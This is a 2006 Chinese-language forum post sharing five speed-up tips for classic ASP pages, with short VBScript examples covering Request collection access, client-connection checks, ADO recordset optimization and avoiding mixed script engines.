舊 2006-07-18, 05:23 PM   #3 (permalink)
榮譽會員
 
psac 的頭像
榮譽勳章
UID - 3662
在線等級: 級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時
註冊日期: 2002-12-07
住址: 木柵市立動物園
文章: 17381
現金: 5253 金幣
資產: 33853 金幣
預設

ASP加快速度技巧

技巧之一:提高使用Request集合的效率
訪問一個ASP集合來抽取一個值是費時的、佔用計算資源的程序。因為這個操作包含了一系列對相關集合的搜尋,這比訪問
一個局部變數要慢得多。因此,如果打算在頁面中多次使用Request集合中的一個值,應該考慮將其儲存為一個局部變數。
例如將程式碼寫成下面的形式以加快指令碼引擎處理速度:
strTitle=Request.Form("Title")
strFirstName=Request.Form("FirstName")
strLastName=Request.Form("LastName")
If Len(strTitle) Then strTitle=strTitle & " "
If strFirstName="" Then strFullName=strTitle & " " & strLastName
Elseif Len(strFirstName)=1 Then
strFullName=strTitle & strFirstName & ". " & strLastName
Else
strFullName=strTitle & strFirstName & " " & strLastName
End If


技巧之二:直接訪問適當的集合
如果不是別無選項,否則不要使用strPage=Request("page")的這樣的形式來獲取參數,因為這將按順序搜尋全部的集合—
QueryString、Form、Cookies、ClientCertificate、ServerVarible直到發現第一個匹配值的名稱。這樣做比直接訪問適
當的集合效率低,並且是不安全的,除非能絕對保證這個值不會出現在另外一個集合中。
例如,可能希望搜尋滿足客戶請求的WEB服務器名稱,這通過出現在每個查詢中的Request.ServerVarables集合中尋找
「SERVER_NAME」來實現。然而,假如其他的集合也包含名為「SERVER_NAME」的值(鍵名不區分大小寫),當使用Request
("server_Name")時,就會得到錯誤的結果。總而言之,應盡可能直接訪問適當的集合。


技巧之三:在費時操作前使用Response.IsClientConnected內容
使用Response.IsClientConnected是觀察用戶是否仍連到服務器並正在載入ASP新增的網頁的有用方式。如果用戶中斷連線連接
或停止下載,我們就不用再浪費服務器的資源新增網頁,因為緩衝區內容將被IIS丟棄。所以,對那些需要大量時間計算或
資源使用較多的網頁來說,值得在每一階段都檢查遊覽者是否已離線:
…… Code to create first part of the page
If Response.IsClientConnected Then
Response.Flush
Else
Response.End
End If
…… Code to create next part of page


技巧之四:最佳化ASP中的ADO操作
通常面言,資料構成了WEB站點的實際內容。所以,最佳化ADO操作以加速ASP程式碼執行,十分有用:
a. 僅選項所需的列:當開啟ADO記錄集時,除非需要獲得所有的列,否則不應自動地使用表名(即SELECT *)。使用單獨
的列意味著將減少傳送到服務器或從服務器取出的資料量。即使需要使用全部列,單獨地命名每個列也會獲得最佳的性
能,因為服務器不必再解釋這些列的名字。
b. 盡可能的使用儲存於程序。儲存於程序是預先編譯的程序,含有一個已經準備好的執行計劃,所以比SQL語句執行更快。
c. 使用適當的游標和鎖定模式。如果所做的全部工作只是從記錄集中讀取資料,並將其顯示在螢幕上,那麼就使用預設的
只能前移、唯讀的記錄集。ADO用來維護記錄和鎖定的細節的工作越少,執行的效能就越高。
d. 使用對象變數。當遍歷記錄集時一個肯定能提高效能的方法是使用對象變數指向集合中的成員。例如:
While Not RsGc.EOF
Response.Write "工程名稱:" & RsGc("GcMC") & "(工程程式碼:" & RsGc("GcCode") & ")
"
RsGc.MoveNext
Wend
可以用改寫為下面的程式碼以加快執行:
set GcMc=RsGc("GcMc")
set GcCode=RsGc("GcCode")
While Not rsGc.EOF Response.Write "工程名稱:" & GcMc & "(工程程式碼:" & GcCode & ")
" RsGc.MoveNext
Wend
新的程式碼建立了對象變數的引用,所以可以使用對象變數而不是實際的變數,這意味著指令碼引擎的工作減少了,因為在集合中進行索引的次數變少了。


技巧五:不要混用指令碼引擎
我們知道,ASP頁面中既可以使用VBScript,也可以使用JScript。但是在同一個頁面上同時使用JScript和VBScript則是不 可取的。因為服務器必須實例化並嘗試快取兩個(而不是一個)指令碼引擎,這在一定程度上增加了系統負擔。因此,從性 能上考慮,不應在同一頁面中混用多種指令碼引擎。
psac 目前離線  
送花文章: 3, 收花文章: 1631 篇, 收花: 3205 次
向 psac 送花的會員:
longlie (2007-10-21)
感謝您發表一篇好文章
 



發表規則
不可以發文
不可以回覆主題
不可以上傳附加檔案
不可以編輯您的文章

論壇啟用 BB 語法
論壇啟用 表情符號
論壇啟用 [IMG] 語法
論壇禁用 HTML 語法
Trackbacks are 禁用
Pingbacks are 禁用
Refbacks are 禁用


所有時間均為台北時間。現在的時間是 01:34 PM


Powered by vBulletin® 版本 3.6.8
版權所有 ©2000 - 2024, Jelsoft Enterprises Ltd.


SEO by vBSEO 3.6.1